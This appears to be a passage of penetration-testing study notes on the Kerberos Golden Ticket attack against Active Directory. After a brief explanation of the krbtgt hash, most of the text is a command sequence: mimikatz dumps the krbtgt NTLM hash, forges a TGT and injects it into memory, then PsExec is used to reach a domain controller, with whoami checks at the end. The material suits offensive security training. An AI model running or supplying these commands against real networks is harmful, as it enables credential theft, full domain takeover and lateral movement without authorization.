Golden Ticket attack
Going back to the explanation of Kerberos authentication, we recall that when a user submits a
request for a TGT, the KDC encrypts the TGT with a secret key known only to the KDCs in the
domain. This secret key is actually the password hash of a domain user account called krbtgt. If we are able to get our hands on the krbtgt password hash, we could create our own self-made
custom TGTs, or golden tickets
- mimikatz.exe
- privilege::debug
- lsadump::lsa /patch
to get krbtgt ntlm hash
- kerberos::purge
- kerberos::golden /user:<fakeuser> /domain:<domain> /sid:<sid> /krbtgt:<krbtgt ntlm hash> /ptt
- misc::cmd
- psexec.exe \\<dc_machine> cmd.exe
With the golden ticket injected into memory, we can launch a new command prompt with
misc::cmd and again attempt lateral movement with PsExec
- whoami
- whoami /group for verification